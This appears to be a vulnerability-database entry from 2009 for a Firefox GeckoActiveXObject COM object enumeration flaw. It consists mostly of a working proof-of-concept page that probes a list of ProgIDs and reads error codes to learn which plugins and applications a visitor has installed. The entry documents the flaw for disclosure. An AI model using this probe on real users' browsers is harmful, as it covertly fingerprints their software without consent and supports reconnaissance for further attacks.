Lucene search
K

Firefox GeckoActiveXObject异常消息COM对象枚举漏洞

🗓️ 20 Dec 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 283 Views

Firefox GeckoActiveXObject COM Object Enumeration Vulnerabilit

Related
Code

                                                <?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!--
Copyright (c) 2009, Gregory Fleischer ([email protected])
License: Revised BSD
-->
<head>
<title>COM Enumeration using GeckoActiveXObject</title>
<script type="text/javascript">//<![CDATA[

var matches = [];

var progIDs = [
    "akadlkasdlfkj.akadlkasdlfkj",
    "MSXML2.DOMDocument","MSXML2.DOMDocument.2.0",
    "MSXML2.DOMDocument.3.0", "MSXML2.DOMDocument.4.0",
    "MSXML2.DOMDocument.5.0", "MSXML2.DOMDocument.6.0",
    "Word.Document.6", "Word.Document.8", "Word.Document.10",
    "Word.Document.12",
    "QuickTime.QuickTime", "QuickTime.QuickTime.9",
    "RealPlayer.HWEventHandler",
    "JavaPlugin", "JavaPlugin.FamilyVersionSupport",
    "JavaPlugin.160_12", "JavaPlugin.160_13",
    "JavaPlugin.160_14",
    "ShockwaveFlash.ShockwaveFlash",
    "ShockwaveFlash.ShockwaveFlash.11",
    "ShockwaveFlash.ShockwaveFlash.10",
    "ShockwaveFlash.ShockwaveFlash.9",
    "ShockwaveFlash.ShockwaveFlash.6",
];

function check_object(progID) {
    try {
    var obj = new GeckoActiveXObject(progID);
    } catch (e) {
    var err = e.toString();
    if (err.match(/COM\s*Error\s*Result\s*=\s*80004005/i)) {
        matches.push(progID);
    } else if (!err.match(/COM\s*Error\s*Result\s*=\s*800401f3/i)) {
        alert("unexpected response: " + e);
    }
    }
}

function test(){

    matches = [];

    if ("undefined" == typeof(window.GeckoActiveXObject)) {
    alert("GeckoActiveXObject only supported on Windows");
    } else {
    for (var i = 0; i < progIDs.length; ++i) {
        check_object(progIDs[i]);
    }
    }

    if (matches.length > 0) {
    if (matches.length == progIDs.length) {
        alert("matched everything? that's unlikely");
    } else {
        alert("matched: " + matches.join(", "));
    }
    } else {
    alert("no matches detected");
    }
}

function init() {
}

//]]>
</script>
</head>
<body onload="init();">
GeckoActiveXObject exceptions:
<ul>
<li>COM object not installed: COM Error Result = 800401f3</li>
<li>COM object installed: COM Error Result = 80004005</li>
</ul>

<input type="button" name="run test" value="run test" onclick="test()"/>
</body>
</html>
<!-- Keep this comment at the end of the file
Local variables:
mode:xml-html
sgml-declaration:"~/lib/DTD/xhtml1/xhtml1.dcl"
sgml-default-dtd-file:"~/lib/DTD/xhtml1/xhtml1-transitional.ced"
End:
-->
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2009 00:00Current
9High risk
Vulners AI Score9
EPSS0.00812
283